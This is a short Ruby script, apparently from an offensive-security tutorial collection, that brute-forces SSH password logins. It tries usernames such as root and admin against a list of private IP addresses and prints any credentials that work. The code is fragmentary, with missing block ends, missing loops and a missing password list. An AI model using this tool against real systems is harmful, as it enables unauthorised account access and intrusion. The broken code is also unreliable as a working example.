# KING SABRI | @KINGSABRI
def attack_ssh(host, user, password, port=22, timeout = 5)
Net::SSH.start(host, user, :password => password,
:auth_methods => ["password"], :port => port,
:paranoid => false, :non_interactive => true, :timeout => timeout ) do |session|
puts "Password Found: " + "#{host} | #{user}:#{password}"
rescue Net::SSH::ConnectionTimeout
puts "[!] The host '#{host}' not alive!"
puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!"
rescue Errno::ECONNREFUSED
puts "[!] Incorrect port #{port} for #{host}"
rescue Net::SSH::AuthenticationFailed
puts "Wrong Password: #{host} | #{user}:#{password}"
rescue Net::SSH::Authentication::DisallowedMethod
puts "[!] The host '#{host}' doesn't accept password authentication method."
hosts = ['192.168.0.1', '192.168.0.4', '192.168.0.50']
users = ['root', 'admin', 'rubyfu']
attack_ssh host, user, password